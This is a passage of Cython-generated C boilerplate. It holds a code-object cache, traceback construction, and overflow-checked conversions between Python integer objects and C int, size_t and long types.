(__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); if (unlikely(!entries)) { return; } __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = new_max; } for (i=__pyx_code_cache.count; i>pos; i--) { entries[i] = entries[i-1]; } entries[pos].code_line = code_line; entries[pos].code_object = code_object; __pyx_code_cache.count++; Py_INCREF(code_object); } /* AddTraceback */ #include "compile.h" #include "frameobject.h" #include "traceback.h" static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyObject *py_srcfile = 0; PyObject *py_funcname = 0; #if PY_MAJOR_VERSION < 3 py_srcfile = PyString_FromString(filename); #else py_srcfile = PyUnicode_FromString(filename); #endif if (!py_srcfile) goto bad; if (c_line) { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #else py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #endif } else { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromString(funcname); #else py_funcname = PyUnicode_FromString(funcname); #endif } if (!py_funcname) goto bad; py_code = __Pyx_PyCode_New( 0, 0, 0, 0, 0, __pyx_empty_bytes, /*PyObject *code,*/ __pyx_empty_tuple, /*PyObject *consts,*/ __pyx_empty_tuple, /*PyObject *names,*/ __pyx_empty_tuple, /*PyObject *varnames,*/ __pyx_empty_tuple, /*PyObject *freevars,*/ __pyx_empty_tuple, /*PyObject *cellvars,*/ py_srcfile, /*PyObject *filename,*/ py_funcname, /*PyObject *name,*/ py_line, __pyx_empty_bytes /*PyObject *lnotab*/ ); Py_DECREF(py_srcfile); Py_DECREF(py_funcname); return py_code; bad: Py_XDECREF(py_srcfile); Py_XDECREF(py_funcname); return NULL; } static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyFrameObject *py_frame = 0; PyThreadState *tstate = __Pyx_PyThreadState_Current; if (c_line) { c_line = __Pyx_CLineForTraceback(tstate, c_line); } py_code = __pyx_find_code_object(c_line ? -c_line : py_line); if (!py_code) { py_code = __Pyx_CreateCodeObjectForTraceback( funcname, c_line, py_line, filename); if (!py_code) goto bad; __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); } py_frame = PyFrame_New( tstate, /*PyThreadState *tstate,*/ py_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (!py_frame) goto bad; __Pyx_PyFrame_SetLineNumber(py_frame, py_line); PyTraceBack_Here(py_frame); bad: Py_XDECREF(py_code); Py_XDECREF(py_frame); } /* CIntFromPyVerify */ #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ {\ func_type value = func_value;\ if (sizeof(target_type) < sizeof(func_type)) {\ if (unlikely(value != (func_type) (target_type) value)) {\ func_type zero = 0;\ if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ return (target_type) -1;\ if (is_unsigned && unlikely(value < zero))\ goto raise_neg_overflow;\ else\ goto raise_overflow;\ }\ }\ return (target_type) value;\ } /* CIntFromPy */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { #ifdef __Pyx_HAS_GCC_DIAGNOSTIC #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wconversion" #endif const int neg_one = (int) -1, const_zero = (int) 0; #ifdef __Pyx_HAS_GCC_DIAGNOSTIC #pragma GCC diagnostic pop #endif const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(int) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (int) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (int) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(int) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) case -2: if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -3: if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -4: if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; } #endif if (sizeof(int) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else int val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (int) -1; } } else { int val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (int) -1; val = __Pyx_PyInt_As_int(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to int"); return (int) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to int"); return (int) -1; } /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_int(int value) { #ifdef __Pyx_HAS_GCC_DIAGNOSTIC #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wconversion" #endif const int neg_one = (int) -1, const_zero = (int) 0; #ifdef __Pyx_HAS_GCC_DIAGNOSTIC #pragma GCC diagnostic pop #endif const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(int) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(int) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(int) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(int), little, !is_unsigned); } } /* CIntFromPy */ static CYTHON_INLINE size_t __Pyx_PyInt_As_size_t(PyObject *x) { #ifdef __Pyx_HAS_GCC_DIAGNOSTIC #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wconversion" #endif const size_t neg_one = (size_t) -1, const_zero = (size_t) 0; #ifdef __Pyx_HAS_GCC_DIAGNOSTIC #pragma GCC diagnostic pop #endif const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(size_t) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(size_t, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (size_t) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (size_t) 0; case 1: __PYX_VERIFY_RETURN_INT(size_t, digit, digits[0]) case 2: if (8 * sizeof(size_t) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(size_t, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(size_t) >= 2 * PyLong_SHIFT) { return (size_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } } break; case 3: if (8 * sizeof(size_t) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(size_t, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(size_t) >= 3 * PyLong_SHIFT) { return (size_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } } break; case 4: if (8 * sizeof(size_t) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(size_t, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(size_t) >= 4 * PyLong_SHIFT) { return (size_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (size_t) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(size_t) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(size_t, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(size_t) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(size_t, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (size_t) 0; case -1: __PYX_VERIFY_RETURN_INT(size_t, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(size_t, digit, +digits[0]) case -2: if (8 * sizeof(size_t) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(size_t, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(size_t) - 1 > 2 * PyLong_SHIFT) { return (size_t) (((size_t)-1)*(((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]))); } } break; case 2: if (8 * sizeof(size_t) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(size_t, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(size_t) - 1 > 2 * PyLong_SHIFT) { return (size_t) ((((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]))); } } break; case -3: if (8 * sizeof(size_t) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(size_t, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(size_t) - 1 > 3 * PyLong_SHIFT) { return (size_t) (((size_t)-1)*(((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]))); } } break; case 3: if (8 * sizeof(size_t) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(size_t, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(size_t) - 1 > 3 * PyLong_SHIFT) { return (size_t) ((((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]))); } } break; case -4: if (8 * sizeof(size_t) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(size_t, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(size_t) - 1 > 4 * PyLong_SHIFT) { return (size_t) (((size_t)-1)*(((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]))); } } break; case 4: if (8 * sizeof(size_t) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(size_t, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(size_t) - 1 > 4 * PyLong_SHIFT) { return (size_t) ((((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]))); } } break; } #endif if (sizeof(size_t) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(size_t, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(size_t) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(size_t, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else size_t val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (size_t) -1; } } else { size_t val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (size_t) -1; val = __Pyx_PyInt_As_size_t(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to size_t"); return (size_t) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to size_t"); return (size_t) -1; } /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { #ifdef __Pyx_HAS_GCC_DIAGNOSTIC #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wconversion" #endif const long neg_one = (long) -1, const_zero = (long) 0; #ifdef __Pyx_HAS_GCC_DIAGNOSTIC #pragma GCC diagnostic pop #endif const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(long) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(long) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(long) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(long), little, !is_unsigned); } } /* CIntFromPy */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { #ifdef __Pyx_HAS_GCC_DIAGNOSTIC #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wconversion" #endif const long neg_one = (long) -1, const_zero = (long) 0; #ifdef __Pyx_HAS_GCC_DIAGNOSTIC #pragma GCC diagnostic pop #endif const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(long) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (long) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (long) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(long) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) case -2: if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -3: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -4: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; } #endif if (sizeof(long) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else long val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 